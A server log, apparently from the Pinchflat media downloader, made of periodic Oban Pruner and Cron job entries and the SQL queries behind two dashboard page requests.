{"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.330 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:17.550 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:47.551 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.331 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:17.552 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:47.553 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.331 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:17.554 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:47.555 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.333 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:17.556 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:47.557 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.334 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:17.558 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:47.559 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.335 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:17.560 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:47.561 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.336 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:17.563 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:47.564 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.337 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:17.565 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:47.566 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.338 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:17.567 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:47.568 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.339 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:17.570 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:47.571 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.340 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:17.572 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:47.573 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.341 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:17.574 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:47.575 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.342 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:17.577 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:47.578 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.343 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:17.579 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:47.580 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.344 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:17.581 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:47.582 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.345 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:17.584 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:47.585 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.346 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:17.587 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:47.589 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.347 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:17.590 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:47.591 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.348 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:17.593 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:47.594 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.349 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:17.597 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:47.598 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.350 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:17.601 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:47.602 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.351 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:17.603 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:47.605 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.352 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:17.606 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:47.608 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:48.749 [info] GET / 00:02:48.749 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:02:48.750 [debug] QUERY OK source="settings" db=0.4ms idle=122.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:48.751 [debug] QUERY OK source="media_profiles" db=0.2ms idle=26.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:02:48.751 [debug] QUERY OK source="sources" db=0.1ms idle=27.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:02:48.751 [debug] QUERY OK source="media_items" db=0.4ms idle=27.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:02:48.752 [debug] QUERY OK source="media_items" db=0.2ms idle=28.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:02:48.753 [debug] QUERY OK source="settings" db=0.4ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:48.753 [debug] QUERY OK source="settings" db=0.3ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:48.754 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:48.756 [debug] QUERY OK source="tasks" db=0.5ms idle=4.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:02:48.757 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:02:48.757 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:02:48.758 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:02:48.758 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 00:02:48.759 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:02:48.760 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:02:48.760 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 00:02:48.761 [info] Sent 200 in 12ms 00:02:49.086 [info] GET /app_info 00:02:49.087 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 00:02:49.087 [debug] QUERY OK source="settings" db=0.2ms idle=329.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:49.087 [debug] QUERY OK source="settings" db=0.1ms idle=329.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:49.088 [debug] QUERY OK source="settings" db=0.1ms idle=328.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:49.088 [debug] QUERY OK source="settings" db=0.0ms idle=328.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:49.088 [debug] QUERY OK source="settings" db=0.1ms idle=328.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:02:49.089 [info] Sent 200 in 2ms 00:03:00.352 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:17.609 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:47.611 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.354 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:17.612 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:47.613 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.355 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:17.614 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:47.615 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.355 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:17.616 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:47.617 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.356 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:17.618 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:47.619 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.357 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:17.620 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:47.623 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.359 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:17.624 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:47.625 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.359 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:17.627 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:47.629 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.361 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:17.631 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:47.633 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.361 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:17.634 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:47.637 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.363 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:17.639 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:47.641 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.364 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:17.643 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:47.645 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.365 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:17.647 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:47.649 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.365 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:17.651 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:47.653 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.366 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:17.655 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:47.657 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.367 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:17.659 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:47.661 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.368 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:17.663 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:47.665 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.369 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:17.667 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:47.669 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.370 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:17.671 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:47.673 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.371 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:17.675 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:47.677 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.372 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:17.680 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:47.682 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.374 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:17.684 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:47.687 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.375 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:17.690 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:47.692 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.375 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:17.694 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:47.696 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.376 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:17.698 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:47.700 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.377 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:17.702 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 